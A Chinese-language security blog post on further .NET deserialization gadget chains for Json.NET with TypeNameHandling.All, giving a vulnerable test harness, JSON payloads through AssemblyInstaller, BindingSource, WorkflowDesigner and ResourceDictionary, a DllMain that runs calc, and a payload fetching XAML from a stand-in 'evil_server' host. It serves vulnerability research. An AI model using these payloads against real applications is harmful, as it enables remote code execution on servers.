dotnet 反序列化的另外几个gadget

注意
本文最后更新于 2022-01-21,文中内容可能已过时。

前言

之前写了一些ysoserial.net工具中常见的gadget,文章放在了我的GitHub,这篇文章对其进行补充。

全文以json.net反序列化为例,开启TypeNameHandling.All

测试代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
using Newtonsoft.Json;
using System.IO;

namespace ConsoleApp4
{
    internal class Program
    {
        static void Main(string[] args)
        {
            JsonConvert.DeserializeObject(File.ReadAllText(args[0]), new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.All
            });

        }
    }
}

System.Configuration.Install.AssemblyInstaller

这个类在GAC中,它的Path属性中会进行Assembly.LoadFrom(value)

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/1.png

那么构造json

1
2
3
4
{
    "$type": "System.Configuration.Install.AssemblyInstaller,System.Configuration.Install, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a",
    "Path": "file:///c:/somePath/MixedLibrary.dll"
}

其中Path属性需要是目标机器存在的一个dll。

此处的dll如果为dotnet的dll,还需要通过HelpText属性的getter触发静态构造函数中的rce。注意dll中需要标记RunInstaller并继承Installer

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/2.png

dll可以用混合程序集Mixed Assembly,直接修改这个项目:https://github.com/noperator/CVE-2019-18935 项目中sleep.c,修改为

1
2
3
4
5
6
7
8
9
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        system("calc");
    return TRUE;
}

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/3.png

System.Windows.Forms.BindingSource

这个可以触发任意的getter,刚好接上上面的AssemblyInstaller

1
2
3
4
5
6
7
8
{
    "$type": "System.Windows.Forms.BindingSource, System.Windows.Forms,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "DataMember": "HelpText",
    "dataSource": {
        "$type": "System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a",
        "Path": "file:///c:/somePath/MixedLibrary.dll"
    }
}

dataSource是个object类型的对象,放什么都行,他的DataMember调用setter时调用ResetList

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/4.png

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/5.png

在GetList中

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/6.png

造成任意getter调用

System.Activities.Presentation.WorkflowDesigner

也在GAC中,PropertyInspectorFontAndColorData属性会进行XamlParse.load,借助ObjectDataProvider可以RCE

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/7.png

1
2
3
{"$type":"System.Activities.Presentation.WorkflowDesigner,System.Activities.Presentation, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35",
"PropertyInspectorFontAndColorData":"<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" xmlns:System=\"clr-namespace:System;assembly=mscorlib\" xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\"> <ObjectDataProvider x:Key=\"LaunchCalc\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\"> <ObjectDataProvider.MethodParameters> <System:String>calc</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider></ResourceDictionary>"
}

限制:此类型的构造函数需要Single-Threaded-Apartment (STA)线程

System.Windows.ResourceDictionary

可以从远程服务器下载xamlpayload,然后进行xamlreader.load

1
2
3
4
5
6
7
{
    "__type": "System.Windows.Application, PresentationFramework,Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "Resources": {
        "__type": "System.Windows.ResourceDictionary,PresentationFramework, Version=4.0.0.0, Culture=neutral,PublicKeyToken=31bf3856ad364e35",
        "Source": "http://evil_server/EvilSite/Xamlpayload"
    }
}

Source的setter中

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/8.png

在GetObjectAndCloseStream

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/9.png

从MimeObjectFactory._objectConverters中拿到StreamToObjectFactoryDelegate委托调用,而_objectConverters可以通过自身Register方法注册。分析调用关系

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/10.png

在这里注册了XamlConverter

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/11.png

进行了XamlReader.Load()

Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider

最后一个

https://y4er.com/img/uploads/several-other-gadgets-of-dotnet/12.png

调用binaryformatter,可以二次反序列化rce。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。